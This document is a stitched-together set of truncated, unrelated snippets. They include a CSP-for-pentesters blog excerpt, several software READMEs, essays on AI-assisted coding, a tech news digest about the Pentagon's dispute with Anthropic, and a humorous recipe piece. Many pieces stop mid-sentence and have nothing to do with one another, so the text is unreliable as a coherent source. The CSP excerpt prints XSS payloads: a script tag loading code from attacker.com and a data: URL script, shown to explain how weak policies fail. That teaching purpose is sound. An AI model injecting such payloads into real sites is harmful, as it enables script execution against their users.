CSP for Pentesters: Understanding the Fundamentals8 min read October 19, 2025Table of contentsContentsHi everyone,A few weeks ago I was knee-deep in a CTF challenge.

Then there’s the lazy wildcard approach:Content-Security-Policy: script-src 'self' https:The https: directive allows any HTTPS site.

Since 99% of the internet runs on HTTPS now, this is basically worthless:< script src = "https://attacker.com/xss.js" > < / script >Just works.

Same story with data: URLs:< script src = "data:text/javascript,alert(1)" > < / script >Subdomain wildcards are another fun one: Content-Security-Policy: script-src 'self' * .example.comAll you need is ONE vulnerable subdomain.

Find one weakness in any sub…

For the writer who can't stop rewriting.

Open it and there's a dark screen, a small flame.

It breathes when you type.

Older lines fade — but not instantly.

When you come back, your last sentence is waiting.

Verified Spec-Driven Development (VSDD)The Fusion: VDD × TDD × SDD for AI-Native EngineeringOverviewVerified Spec-Driven Development (VSDD) is a unified software engineering methodology that fuses three proven paradigms into a single AI-orchestrated pipeline:Spec-Driven Development (SDD): Define the contract before writing a single line of implementation.

A clear architectural separation between the (where formal verification can operate) and the (I/O, network, database, user interaction).

Integration Tests: Tests that verify the module works correctly within the larger system context defined in the spec.

(Tautological tests, tests that mock too aggressively, tests that assert on implementa…

On the very same day that Altman offered public support to Amodei, he signed a deal to take away Amodei’s business, with a deal that wasn’t all that different.

- before he announced his support for Dario- before Trump had denounced Anthropic- but after Brockman had donated 25M to Trump’s PACIt was all theatre.

§It’s one thing for the government to reject Anthropic’s terms—and entirely another to banish them permanently and, absurdly and punitively declare them a supply chain risk.

Worse, they did it in favor of someone else who took pretty similar terms and happened to have given more campaign contributions.

The company ripped off a lot of writer’s work (per the $1.5B settlement), and recen…

[[Introduction to Obsidian Sync|Obsidian Sync]] offers a headless client to sync vaults without using the desktop app.

Install [[Obsidian Headless]] **(open beta)** to interact with [[Introduction to Obsidian Sync|Obsidian Sync]] from the command line without the Obsidian desktop app.

Headless Sync uses the same [[Security and privacy|encryption and privacy protections]] as the desktop app, including end-to-end encryption.

Do not use *both* the desktop app Sync and Headless Sync on the same device, as it can cause data conflicts.

```shell # Login ob login # List your remote vaults ob sync-list-remote # Set up a vault for syncing cd ~/vaults/my-vault ob sync-setup --vault "My Vault" # Run a …

Rivet Actors are a serverless primitive for stateful workloads.

Each actor has built-in state, storage, workflows, scheduling, and WebSockets — everything needed to build the next generation of software.

import { actor } from "rivetkit" ; export const chatRoom = actor ( { // In-memory state, persisted automatically state : { messages : [ ] } , // Type-safe RPC actions : { sendMessage : ( c , user , text ) => { c . state .

push ( { user , text } ) ; c . broadcast ( "newMessage" , { user , text } ) ; } , } , } ) ;One Actor per agent, per session, per user — each with everything it needs built in.

Getting StartedIntegrationsFrameworks: Hono • Elysia • tRPCClients: JavaScript • React • Next.jsR…

This gap between output velocity and comprehension velocity is cognitive debt.

Unlike technical debt, which surfaces through system failures or maintenance costs, cognitive debt remains invisible to velocity metrics.

How the Debt CompoundsThree failure modes emerge as cognitive debt accumulates.

The cognitive debt accumulating in those teams does not present as a signal.

Where This Model BreaksThe cognitive debt framing does not apply uniformly across all engineering work.

Perhaps well-intended, the auto-scrolling content can be a real nightmare for multiple groups of users.

I’ve done a mobile app audit and turning on screen reader exposed quite a messy experience – and yes, web can suffer from the same issue.

But sometimes we can get another negative effect of auto-scrolling things, especially on mobile applications, and I want you to please reconsider the pattern.

So auto-scrolling for both web and mobile can be an issue for TalkBack.

Please drop auto-scrolling or at least make it possible to pause or stopMy recommendation was to drop the auto-scrolling totally.

It starts by spawning 30 agents with small NEAT neural networks and no guidance.

Sensory channels that were unknown to them at inception, get discovered.

Agents start with blank neural networks on a small-world graph.

Latent sensory channels.

Agents can evolve to be pure NEAT-brain creatures or keep a fast associative reflex system as backup.

Saved searches Use saved searches to filter your results more quicklyWe read every piece of feedback, and take your input very seriously.

Secure your code as you buildCode security Secure your code as you buildYou signed in with another tab or window.

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OpenAI has fired an employee following an investigation into their activity on prediction market platforms including Polymarket, WIRED has learned.

OpenAI CEO of Applications, Fidji Simo, disclosed the termination in an internal message to employees earlier this year.

The employee, she said, “used confidential OpenAI information in connection with external prediction markets (e.g.

Polymarket).”“Our policies prohibit employees from using confidential OpenAI information for personal gain, including in prediction markets,” says spokesperson Kayla Wood.

OpenAI has not revealed the name of the employee or the specifics of their trades.

We’re speedrunning a technical revolution that transforms our industry from one of craftsmanship to mass production and cheap code.

Yet in spite of these rapid changes, I’ve found some relief in the fact that many of the fundamentals are staying the same, at least for now.

Works great for human understanding and also for swarms of agents making concurrent changes.

What makes a good software engineer?

Adam Leventhal and Simon Willison coined the term Deep Blue for the pervasive feeling of dread that many software engineers are sitting with these days.

In modern economies, money exists in three forms: Base Money (Monetary Base): Central bank liabilities.

Base money is the liability of the central bank. Broad Money (M2, M3): Includes base money plus deposits held at commercial banks.

The money supply does not change. 3.5 Interest on Reserves (IOR) The Federal Reserve pays interest on reserve balances held by banks.

There is no fixed multiplier; there is instead a regulatory constraint on capital. 5 Payment and Settlement Infrastructure 5.1 Objective Differentiate money creation from money movement. 5.2 The Distinction Creating money (through loans or open market operations) is different from moving money between accounts.

The credit cycl…

Drop your PDF here, or click to browseWorks best with files under 10 MB

We appreciate your continued use of Simplenote and the support of our community over the years.

Simplenote is no longer in active development, and while the app remains available, only its basic functionality is being maintained at this time.

No new features or enhancements are planned.

of War to deploy models in classified network OpenAI strikes deal with Pentagon to supply AI to classified military networks.

of War: Anthropic is a supply chain risk Secretary of War Pete Hegseth denounces Anthropic for limiting military access to its models, calling their stance a betrayal and incompatible with American principles.

Secretary of War Pete Hegseth on XFeb 27, 2026, 09:47 PM U.S. government blacklists Anthropic Trump directs all federal agencies to immediately cease use of Anthropic technology.

Defense Secretary Hegseth designates Anthropic a supply chain risk to national security — an action historically reserved for U.S. adversaries, never before applied to an American comp…

Saved searches Use saved searches to filter your results more quicklyWe read every piece of feedback, and take your input very seriously.

Secure your code as you buildCode security Secure your code as you buildYou signed in with another tab or window.

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What AI coding costs youEvery developer I know uses AI for coding now.

How We Got HereNot long ago the first AI coding tools like Cursor (2023) or Copilot (2022) emerged.

It was no longer an AI-assisted human coding, but a human-assisted AI coding.

I use AI heavily at work, I use AI in my sideprojects, and I don’t want to go back.

If not, you’ve probably taken AI coding too far.

$ curl cheat.sh/# Latency numbers every programmer should know 1ns Main memory reference: Send 2,000 bytes Read 1,000,000 bytes ▗▖ 100ns over commodity network: 5ns sequentially from SSD: ▗▖ ▗ 12.245us L1 cache reference: 1ns ▗ ▗▖ 1.0us SSD random read: 16.0us ▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖ ▗▖▗ Disk seek: 1.649384ms Branch mispredict: 3ns ▗▖▗ ▗▖▗▖▗▖ Read 1,000,000 bytes Compress 1KB wth Snappy: sequentially from memory: Read 1,000,000 bytes L2 cache reference: 4ns 2.0us 741ns sequentially from disk: ▗▖▗▖▗▖▗▖ ▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖ ▗ 358.968us ▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖ ▗ Mutex lock/unlock: 16ns Round trip ▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖▗▖ in same datacenter: 500.0us Packet roundtrip ▗▖▗▖▗▖▗▖▗▖▗▖▗ 10.0us = ▗▖ ▗▖▗▖▗▖▗▖▗▖▗▖…

I wanted to stop and call it a day, but I didn’t have a bookmark in my nightstand.

The next time I read, I realized I had indeed no problem finding the right page to continue from, and I haven’t used a bookmark since.

Of course, every now and then, I do struggle to find the right spot in the book again.

Take all the help you can get, but remember to find your own way through life.

Trust me, you can do it—even without bookmarks.

gitcreditsRoll movie-style credits for your git repo — right in the terminal.

InstallGogo install github.com/Higangssh/gitcredits@latestFrom sourcegit clone https://github.com/Higangssh/gitcredits.git cd gitcredits go build -o gitcredits .

Navigate into any git repository and run gitcredits .

Works without it — you'll just get git-only data.

RequirementsGitGo 1.21+gh CLI (optional, for GitHub metadata)LicenseMIT

Don’t trust other agentsEven when OpenClaw’s sandbox is enabled, all agents share the same container.

Agents shouldn’t trust each other any more than you trust them.

Your personal assistant can’t see your work agent’s data because they run in completely separate sandboxes.

Don’t trust what you can’t readOpenClaw has nearly half a million lines of code, 53 config files, and over 70 dependencies.

Don’t trust the agent.

compress any image to 16 bytes — and reconstruct it Algorithm · Demo · Bugs · ContributingSplatHash encodes any image into exactly 16 bytes (a 22-char base64url string) and decodes it back to a 32×32 blurry preview in 0.067 ms. Go, TypeScript, and Python all produce bit-for-bit identical hashes.

Regenerate: mise run compare .

InstallLanguage Package Docs Go go get github.com/junevm/splathash/src/go src/go/README.md TypeScript / JS npm install splathash-ts src/ts/README.md Python pip install splathash-py src/py/README.mdGo is the reference implementation.

SplatHash ThumbHash BlurHash Decode 0.067 ms 0.50 ms 6.55 ms Encode 3.53 ms 0.86 ms 445 ms Decode allocs 7 1,168 5 Bytes 16 fixed 25–37 20…

We first encounter them in our development environments where they materialize from a misplaced comma, an eagerly-typed bracket, or a misunderstood method call.

We fix them and move on, dismissing them as creatures of our own creation.

When we’re satisfied that we’ve tamed our code, we rejoice.

In the depths of our code, on the outer edges of our test cases, the creatures lurk.

It will take exceptional developers to defeat Ruby’s Exceptional Creatures!

Verified Spec-Driven Development (VSDD)The Fusion: VDD × TDD × SDD for AI-Native EngineeringOverviewVerified Spec-Driven Development (VSDD) is a unified software engineering methodology that fuses three proven paradigms into a single AI-orchestrated pipeline:Spec-Driven Development (SDD): Define the contract before writing a single line of implementation.

A clear architectural separation between the (where formal verification can operate) and the (I/O, network, database, user interaction).

Integration Tests: Tests that verify the module works correctly within the larger system context defined in the spec.

(Tautological tests, tests that mock too aggressively, tests that assert on implementa…

Breeze QtWidgets style changes to help us prepare for UnionWe have worked on some spring cleaning for Breeze, which helps us to prepare for Union and the changes it brings.

With Union style engine, people are going to do all kinds of cool things.

It can be more tough to find the bugs with Union styling later on, because it changes much more than just one style: It changes the whole styling engine.

:)The current Breeze style changes we have now in git master branch are already out there if you're using KDE Linux for example.

:)Let's make the movement from separate QtWidgets/QtQuick style engines to one unified Union style engine as seamless as possible.

prekpre-commit is a framework to run hooks written in many languages, and it manages the language toolchain and dependencies for running the hooks.

prek provides a better user experienceNo need to install Python or any other runtime, just download a single binary.

prek run has some nifty improvements over pre-commit run , such as: prek run --directory runs hooks for files in the specified directory, no need to use git ls-files -- | xargs pre-commit run --files anymore.

command lists all available hooks, their ids, and descriptions, providing a better overview of the configured hooks.

prek provides shell completions for prek run command, making it easier to run specific hooks without reme…

fast-serversThere's a network-server programming pattern which is so popular that it's the canonical approach towards writing network servers:...

This design is easy to recognise: The main loop waits for some event, then dispatches based on the file descriptor and state that the file descriptor is in.

Creating the thread poolAsk the operating system how many cores there are.

If raising this number helps, then your state transitions are too complex and you will need to break them up.

The request-loopA task that has some input will begin with a epoll_wait() or kevent() step:#ifdef __linux__struct epoll_event e[1000];for(i=0;i<epoll_wait(q,e,1000,-1);++i)if(e[i].events&(EPOLLRDHUP|EPOLLHUP))cl…

We also fire the ‘error’ event if a fetched stylesheet response is invalid (@TimvdLippe, @mrobinson, #42037).

Additionally, the attribute now triggers preload fetch operations that can improve page load speeds (@TimvdLippe, @jdm, #40059).

Text input fields have received a lot of love this month.

Clicking in an input field will position the cursor accordingly (@mrobinson, @jdm, @Loirooriol, #41906, #41974, #41931), as will clicking past the end of a multiline input (@mrobinson, @Loirooriol, #41909).

CSS styles now inherit correctly through ‘display: contents’ as well as elements in Shadow DOM content (@longvatrong111, @Loirooriol, @mrobinson, #41855).

Debugging Reproducibility Issues in Rust SoftwareFebruary 28, 2026 • Tags: Guix, Rust Last Updated:• Tags:Recently, I packaged pimsync for Guix and—as part of the process—was made aware that its build was not reproducible.

Since this is very much Rust-specific, I wanted to document how I got to the bottom of this to ease future investigations of Rust-related reproducible build issues.

For example, a common reproducible build problem is including some sort of timestamp in the build artifact.

The Cargo build system stores the build artifact for dependencies in target/release/deps/*.rlib .

Similar to Rust, LLVM IR also supports functions; thus, we can check the name of the function to …

Linux has nothing like kqueue, epoll doesn’t come close."

Due to design defects with the select syscalls, it can only support up to FD_SETSIZE file descriptors on most systems.

The select syscall clearly had some design deficits that negatively affected scalability, so AT&T introduced the poll syscall in System V UNIX.

To understand the argument I am about to make, we need to talk about file descriptors.

Now that we understand that file descriptors are actually just kernel handles, we can now talk about kqueue and epoll , and why epoll is actually the correct design.

We’re speedrunning a technical revolution that transforms our industry from one of craftsmanship to mass production and cheap code.

Yet in spite of these rapid changes, I’ve found some relief in the fact that many of the fundamentals are staying the same, at least for now.

Works great for human understanding and also for swarms of agents making concurrent changes.

What makes a good software engineer?

Adam Leventhal and Simon Willison coined the term Deep Blue for the pervasive feeling of dread that many software engineers are sitting with these days.

Improving output of tests and command-line tools, but enabling it only under AI-oriented flags and environmental variables (like AI=true ).

DocumentationYes, good documentation is valuable for AI agents, especially if it is not part of the training data set.

A good documentation digest is often even more important, because it takes less of the context window.

However, there’s a set of tools that both developers and AI agents can use alike: command-line tools and APIs.

that segregate workflows between humans and AI agents, for example, avoid AI=true , prefer --quiet or—even better!—design your tools with limited context/mental-overload in mind.

That’s a much smaller target than ‘fun’, so you’re gonna need testing even more than I do.

The second one heavily depends on making the game good, which you’re gonna spend 90% of your time on.

It seems to be rooted in the idea that increasing the game’s price increases the developer’s profit margin – it doesn’t.

A million complex factors go into it, but you don’t need to know what they are.

But does making a good game guarantee a hit?

Jordan Novet / CNBC:

Claude hit #2 on Apple's US App Store, hours after the DOD designated Anthropic a supply chain risk; it bounced between #20 and #50 for much of February — Anthropic's Claude artificial intelligence assistant app jumped to the No. 2 slot on Apple's chart of top U.S. free apps late on Friday …

Wall Street Journal:

Sources: Israel hacked BadeSaba, a popular Iranian prayer app with 5M+ installs on Google Play, to send messages urging Iranian military personnel to defect — Israel hacked a popular Iranian prayer app to send notifications to potentially millions of phones Saturday morning urging …

John Collison / Cheeky Pint:

Q&A with Reiner Pope, a former Google TPU architect and CEO of MatX, which designs specialized chips for LLMs, on the limitations of current AI chips, and more — Reiner Pope is the co-founder and CEO of MatX, designing specialized chips for Large Language Models.

Brendan Bordelon / Politico:

The Pentagon's fight with Anthropic sparks fears in Silicon Valley and the Capitol of a fundamental shift in the balance of power between DC and the AI industry — Trump was silent on another threat that Hegseth had delivered to Anthropic earlier this week, when he suggested DOD would invoke …

Jo Ling / CBS News:

Dario Amodei says “we are patriotic Americans” and Anthropic fears some AI uses could clash with American values as AI's potential gets “ahead of the law” — Add CBS News on Google — Hours after a bitter feud between the Pentagon and Anthropic ended …

New York Times:

How India's outsourcing industry, which employs 6M+ people and is worth nearly $300B, is racing to adapt as AI promises to automate white-collar work — Artificial intelligence promises to automate the white-collar work that made India a tech powerhouse. The country is racing to adapt before it's too late.

Manish Singh / India Dispatch:

AI's deflationary impact on India's IT industry, which has never seen a decline in software exports in 24 years, will likely take years to fully materialize — The cost of electricity does not run an enterprise. — A post written as a fictional memo from June 2028 by short-seller Citrini …

Stuart A. Thompson / New York Times:

Tests of 12+ AI-detection tools show many capable of spotting basic fakes, but struggle with complex images; few analyze video, and most identified fake audio — Artificial intelligence detectors are increasingly used to check the veracity of content online.

Dell Cameron / Wired:

US Congressional Joint Economic Committee report: US consumers lost $20.9B nominally to identity theft from four major data broker breaches over the past decade — A report copublished by WIRED sparked a probe into opt-out pages hidden by data brokers. Now congressional Democrats …

Tim Culpan / Culpium:

Sources: TSMC urges clients to apply for N2 production allocation as far out as Q2 2027, with large capacity allotments nearly sold out for the next two years — [Exclusive] Clients are being asked to finalize their requirements into mid 2027, with larger customers already booking capacity over the next two to three years.

Wired:

Anthropic's dispute with the DOD raises critical questions for US military partners like Nvidia, Google, Amazon, and Palantir, which work closely with Anthropic — Anthropic says it would be “legally unsound” for the Pentagon to blacklist its technology after talks over military use of its artificial intelligence models broke down.

Reuters:

Coupang reports Q4 revenue up 11% YoY to $8.8B, below $8.9B est., and a net loss of $26M, versus $131M net profit in Q4 2024, hurt by fallout from a data breach — E-commerce giant Coupang (CPNG.N) swung to a fourth-quarter loss on Thursday and reported revenue below analysts' estimates …

Jagmeet Singh / TechCrunch:

Source: India issued a blocking order on February 24 to restrict access to developer database service Supabase; the government did not publicly cite a reason — Supabase, a popular developer database platform, is facing disruptions in India — one of its key markets — has been blocked in India, TechCrunch has learned.

Wall Street Journal:

Sources: Nvidia plans to unveil a new AI inference chip at its GTC conference in March; the system will have a Groq-designed chip and OpenAI is a customer — Under pressure from rivals, the chip giant is set to offer a new product focused on rapid processing of AI queries for ‘inference’ demand

Sam Altman / @sama:

Sam Altman says OpenAI reached an agreement with the DOD to deploy its models in DOD's classified network and asks DOD to extend those terms to all AI companies — Tonight, we reached an agreement with the Department of War to deploy our models in their classified network. In all of our interactions, the DoW displayed a deep respect for safety and a desire to partner to achieve the best possible outcome. AI safety and wide distribution of

Fast Company:

A look at a local group's lawsuit against Micron over its $100B New York manufacturing complex, alleging a rushed permitting process and environmental review — Lawsuit over Micron's massive Syracuse project raises concerns about toxic risks and alleges a rushed environmental review.

Financial Times:

Sources: DeepSeek plans to release its multimodal model V4 next week and worked with Huawei and Chinese AI chipmaker Cambricon to optimize V4 for their products — Chinese AI group has worked with Huawei to cut reliance on Nvidia chips — Eleanor Olcott in Istanbul and Zijing Wu in Sapporo

Anthropic:

Anthropic says it'll challenge “any supply chain risk designation in court” and that the designation would only affect contractors' use of Claude on DOD work — Earlier today, Secretary of War Pete Hegseth shared on X that he is directing the Department of War to designate Anthropic a supply chain risk.

Sharon Goldman / Fortune:

Source: Sam Altman told employees the DOD is willing to let OpenAI build its own “safety stack” and won't force OpenAI to comply if its model refuses a task — Sam Altman told OpenAI employees at an all-hands meeting on Friday afternoon that a potential agreement is emerging …

Maria Curi / Axios:

Source: the DOD appears to have accepted OpenAI's safety red lines, which were similar to Anthropic's, to deploy OpenAI's tech in classified settings — - Now, the department, which did not immediately respond to a request for comment, appears to have accepted OpenAI's similar conditions.

Yuliya Chernova / Wall Street Journal:

Sources: crypto investment firm Paradigm is looking to raise up to $1.5B for a new fund to expand into AI, robotics, and other forms of frontier tech — The venture firm is looking to raise as much as $1.5 billion for a broader, frontier-tech fund — Paradigm, one of the largest venture …

Jonathan Stempel / Reuters:

A federal judge issues a preliminary injunction blocking Virginia from enforcing a new law restricting children's social media use, on First Amendment grounds — A federal judge on Friday blocked Virginia from enforcing a new law that aimed to protect children from being addicted to social media …

Dina Bass / Bloomberg:

Dell stock closes up 22%, its biggest single-day gain since March 1, 2024, after the company gave an outlook for sales of its AI servers that exceeded estimates — Dell Technologies Inc. shares jumped the most in two years after the company gave an outlook for sales of its artificial intelligence servers …

@secwar:

Defense Secretary Pete Hegseth directs the DOD to designate Anthropic as a supply chain risk, barring military contractors from doing business with the company — This week, Anthropic delivered a master class in arrogance and betrayal as well as a textbook case of how not to do business with the United States Government or the Pentagon. Our position has never wavered and will never waver: the Department of War must have full, unrestricted

Alex Weprin / The Hollywood Reporter:

Paramount agrees to acquire WBD, paying $31 per share in cash, giving WBD an enterprise value of $110B; Paramount paid a $2.8B breakup fee to Netflix — Netflix backed away from its $87.2 billion deal on Thursday. … The two companies formally unveiled the deal Friday after Netflix formally bowed …

Axios:

President Trump calls Anthropic a “radical left, woke company” and says he is directing every federal agency in the US to stop using its products — The Trump administration has decided to blacklist Anthropic in the most consequential and controversial policy decision to date …

Development at the speed of light.

InstallationYou can run SpacetimeDB as a standalone database server via the spacetime CLI tool.

# Clone SpacetimeDB git clone https: // github.com / clockworklabs / SpacetimeDB # Build and install the CLI cd SpacetimeDB cargo build -- locked -- release - p spacetimedb - standalone - p spacetimedb - update - p spacetimedb - cli # Create directories $stdbDir = " $HOME \AppData\Local\SpacetimeDB " $stdbVersion = & " .\target\release\spacetimedb-cli " -- version | Select-String - Pattern ' spacetimedb tool version ([0-9.

# %USERPROFILE%\AppData\Local\SpacetimeDB # Set the current version spacetime version use $STDB_VERSIONYou can verify that the correct versio…

ElectrobunGet started with a templatenpx electrobun initWhat is Electrobun?

Electrobun aims to be a complete solution-in-a-box for building, updating, and shipping ultra fast, tiny, and cross-platform desktop applications written in Typescript.

Under the hood it uses bun to execute the main process and to bundle webview typescript, and has native bindings written in zig.

Project GoalsWrite typescript for the main process and webviews without having to think about it.

Isolation between main and webview processes with fast, typed, easy to implement RPC between them.

Claude Code Telegram BotA Telegram bot that gives you remote access to Claude Code.

PrerequisitesPython 3.11+ -- Download here-- Download here Claude Code CLI -- Install from here-- Install from here Telegram Bot Token -- Get one from @BotFather2.

Configurecp .env.example .env # Edit .env with your settings:Minimum required:TELEGRAM_BOT_TOKEN=1234567890:ABC-DEF1234ghIkl-zyx57W2v1u123ew11 TELEGRAM_BOT_USERNAME=my_claude_bot APPROVED_DIRECTORY=/Users/yourname/projects ALLOWED_USERS=123456789 # Your Telegram user ID4.

Authenticate on your server with gh auth login , then work with repos conversationally:You: List my repos related to monitoring Bot: [Claude runs gh repo list, shows results] You…

unwrap ( ) ; // Compute attention scores let attention = TopologicalAttention :: new ( Default :: default ( ) ) ; let scores = attention .

addEdge ( scan , filter ) ; // Apply attention const attention = new TopologicalAttention ( ) ; const scores = attention .

` ) ; // GNN embeddings const embeddings = await db .

; let embeddings = pipeline .

( "Landauer cost: {:.2e} J" , cost ) ; SIMD Pattern Retrieval use exo_manifold :: { ManifoldEngine , cosine_similarity_simd , batch_distances } ; // 54x faster similarity search let query = vec !

Agent Skills for Context EngineeringA comprehensive, open collection of Agent Skills focused on context engineering principles for building production-grade AI agent systems.

Context engineering is the discipline of managing the language model's context window.

Effective context engineering means finding the smallest possible set of high-signal tokens that maximize the likelihood of desired outcomes.

UsageUsage with Claude CodeThis repository is a Claude Code Plugin Marketplace containing context engineering skills that Claude automatically discovers and activates based on your task context.

The skills provide the context and guidelines that agent needs for effective context engineering and…

Saved searches Use saved searches to filter your results more quicklyWe read every piece of feedback, and take your input very seriously.

Secure your code as you buildCode security Secure your code as you buildYou signed in with another tab or window.

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Reload to refresh your session.

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Stremio - Freedom to StreamStremio is a modern media center that's a one-stop solution for your video entertainment.

You discover, watch and organize video content from easy to install addons.

BuildPrerequisitesNode.js 12 or higherpnpm 10 or higherInstall dependenciespnpm installStart development serverpnpm startProduction buildpnpm run buildRun with Dockerdocker build -t stremio-web .

docker run -p 8080:8080 stremio-webScreenshotsBoardDiscoverMeta DetailsLicenseStremio is copyright 2017-2023 Smart code and available under GPLv2 license.

See the LICENSE file in the project for more information.

Hugging Face SkillsHugging Face Skills are definitions for AI/ML tasks like dataset creation, model training, and evaluation.

They are interoperable with all major coding agent tools like OpenAI Codex, Anthropic's Claude Code, Google DeepMind's Gemini CLI, and Cursor.

Google Gemini uses 'extensions' to define the instructions for your coding agent in a gemini-extension.json file.

InstallationHugging Face skills are compatible with Claude Code, Codex, Gemini CLI, and Cursor.

Your coding agent automatically loads the corresponding SKILL.md instructions and helper scripts while it completes the task.

You can show your support via:Cryptocurrency: BTC: bc1q7zldmzjwspnaa48udvelwe6k3fef7xrrhg5625 LTC: LRWgqwEYDwqau1WeiTs6Mjg85NJ7m3fsdQ ETH: 0x3f844B2cc3c4b7242964373fB0A41C4fdffB192APatreon: https://patreon.com/lucknitehttps://patreon.com/lucknite Ko-fi: https://ko-fi.com/lucknite🙏 Thank you for your support!

SponsorsSponsor the most comprehensive repository of AI system prompts and reach thousands of developers.

Latest Update: 08/01/2026🔗 Connect With MeX: NotLuckniteNotLucknite Discord : x1xhlol: Email: [email protected]🛡️ Security Notice for AI Startups⚠️ Warning: If you're an AI startup, make sure your data is secure.

Check out ZeroLeaks, a service designed to help startups identify and …

Cloudflare AgentsAgents are persistent, stateful execution environments for agentic workloads, powered by Cloudflare Durable Objects.

Each agent has its own state, storage, and lifecycle — with built-in support for real-time communication, scheduling, AI model calls, MCP, workflows, and more.

count ; } @ callable ( ) decrement ( ) { this .

There are also examples using the OpenAI Agents SDK in openai-sdk/ .

npm install # install all workspaces npm run build # build all packages npm run check # full CI check (format, lint, typecheck, exports) CI=true npm test # run tests (vitest + vitest-pool-workers)Changes to packages/ need a changeset:npx changesetSee AGENTS.md for deeper contributor guid…

Seerr is a free and open source software application for managing requests for your media library.

It integrates with the media server of your choice: Jellyfin, Plex, and Emby.

Currently, Seerr supports Sonarr and Radarr.

Customizable request system, which allows users to request individual seasons or movies in a friendly, easy-to-use interface.

SupportCheck out the Seerr Documentation before asking for help.

TimesFMTimesFM (Time Series Foundation Model) is a pretrained time-series foundation model developed by Google Research for time-series forecasting.

Latest Model Version: TimesFM 2.5Archived Model Versions:1.0 and 2.0: relevant code archived in the sub directory v1 .

You can pip install timesfm==1.3.0 to install an older version of this package to load them.

Update - Oct. 29, 2025Added back the covariate support through XReg for TimesFM 2.5.

This repo will be under construction over the next few weeks toadd support for an upcoming Flax version of the model (faster inference).

Synkra AIOS: Framework Universal de Agentes IA 🚀Framework de Desenvolvimento Auto-Modificável Alimentado por IA.

Contributors appearing in the git history from the original BMad Method repository do not imply active participation in or endorsement of Synkra AIOS.

Visão GeralPremissa Arquitetural: CLI FirstO Synkra AIOS segue uma hierarquia clara de prioridades:CLI First → Observability Second → UI ThirdCamada Prioridade Foco Exemplos CLI Máxima Onde a inteligência vive.

O arquivo .claude/CLAUDE.md é carregado automaticamenteé carregado automaticamente Sync dedicado de agentes: npm run sync:ide:claudeValidacao dedicada: npm run validate:claude-sync && npm run validate:claude-integrationPara …

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People built Windows apps, web services and iPhone apps - they don’t build TSMC apps or Intel apps.

And if I do a Google Search and the first match is a product that’s running on Google Cloud, I would never know.

If apps in the chatbot feed work, and OpenAI uses one standard and Gemini uses another, why stops a developer doing both?

Google Cloud, Apple's App Store, Amazon Marketplace, and even TikTok are all ‘platforms’ but they're all very different.

Does OpenAI have the ability to get consumers, developers and enterprises to use its systems more than anybody else, regardless of what the system itself actually does?

This article explores what I call Knowledge Priming—the practice of sharing curated project context with AI before asking it to generate code.

The Knowledge Hierarchy I find it helpful to think of AI knowledge in three layers, ordered by priority: Training Data (lowest priority): Millions of repositories, tutorials, generic patterns—often outdated.

What Knowledge Priming Looks Like Knowledge Priming is the practice of sharing curated documentation, architectural patterns, and version information with AI before asking it to generate code.

Anatomy of a Priming Document A good priming document is not a brain dump.

A Real-World Example Here is a condensed priming document from a project I worke…

Agent Skills are folders of instructions, scripts, and resources that agents can discover and use to do things more accurately and efficiently.

​ Why Agent Skills?

​ What can Agent Skills enable?

Agent Skills are supported by leading AI development tools.

​ Open developmentThe Agent Skills format was originally developed by Anthropic , released as an open standard, and has been adopted by a growing number of agent products.

We’ve always fetishized the act of writing code, the quality of the code, the code as the primary artifact and IP.

That used to be the norm)Said another way, we’ve known for a long time that code is the easy part.

Yes: the last 3-4 months of frontier models, and Claude Code and its ilk are genuinely something new in the world.

But code being the easy and cheap part is not new.

(The language is referred to as write only line noise for a reason)The cost of code is going to zero.

BullshitBench: Models Answering Nonsense QuestionsThis benchmark measures whether models detect broken premises, call out the nonsense directly, and avoid confidently continuing with invalid assumptions.

There’s a new agentic AI called Einstein that will, according to its developers, live the life of a student for them.

If an AI can go to school for you what’s the point of going to school?

Einstein isn’t the first agentic AI to do the work of a student for them, it’s just one that got attention online recently.

Anna Mills, an English professor at the College of Marin and a colleague of Kirschenbaum’s on the MLA AI task force, compared the fight against agentic AI in education to cybersecurity.

She said that using agentic AI like Einstein was cheating, full stop, and academic fraud.

via The Verge https://ift.tt/2C8BuTw

https://github.com/lucasgelfond/search-whole-earth

It’s hard to overstate the role that Wi-Fi plays in virtually every facet of life.

One estimate pegs the number of individual users at 6 billion, roughly 70 percent of the world’s population.

Ghost in the machineIn the early days, public Wi-Fi networks often resembled the Wild West, where ARP spoofing attacks that allowed renegade users to read other users’ traffic were common.

The isolation can effectively be nullified through AirSnitch, the name the researchers gave to a series of attacks that capitalize on the newly discovered weaknesses.

Various forms of AirSnitch work across a broad range of routers, including those from Netgear, D-Link, Ubiquiti, Cisco, and those running DD-WRT and Op…

BuildKit: Docker's Hidden Gem That Can Build Almost AnythingPosted on February 25, 2026 • 5 minutes • 859 wordsDiscussion on Hacker NewsMost people interact with BuildKit every day without realizing it.

When you run docker build , BuildKit is the engine behind it.

LLB: the intermediate representationAt the heart of BuildKit is LLB (Low-Level Build definition).

Frontends: bring your own syntaxA frontend is a container image that BuildKit runs to convert your build definition (Dockerfile, YAML, JSON, HCL, whatever) into LLB.

The frontend receives the build context and the build file through the BuildKit Gateway API, and returns a serialized LLB graph.

EnergymMOVE THE WORLD​An interview from 2036 with Elon Musk, Jeff Bezos and Sam Altman.

After the stock market crash of 2026 the economy faltered, 80% of people lost their job and the US tech elite had to find a new way to keep the world moving: Energym - Human-powered AI systems, fulfilling both the machine’s need for energy and the people’s need for purpose.

​This mockumentary fragment depicts a dystopian world 10 years from now.

You can place pancakes, crepes, and scrambled eggs on a simplex where the variables are the ratios between milk, eggs, and flour.

If the dark breakfast exists, I must be able to find it in the interstices of the normal familiar world.

In an obscure document on the website of the International House of Pancakes Corporation there was a hint that the dark breakfast had been made.

We do not know why the Dark Breakfast Abyss is empty.

If you are so foolhardy that you wish to explore the bounds of dark breakfast yourself, the recipe is as follows:Dark BreakfastIngredients:¼ cup Milk4 Eggs½ cup FlourInstructions: Unknown

Anthropic has therefore worked proactively to deploy our models to the Department of War and the intelligence community.

Anthropic understands that the Department of War, not private companies, makes military decisions.

Fully autonomous weapons.

Partially autonomous weapons, like those used today in Ukraine, are vital to the defense of democracy.

But today, frontier AI systems are simply not reliable enough to power fully autonomous weapons.

Featured StudyEdwin Ong & Alex Vikati · feb-2026 · claude-code v2.1.39What Claude Code Actually ChoosesWe pointed Claude Code at real repos 2,430 times and watched what it chose.

No tool names in any prompt.

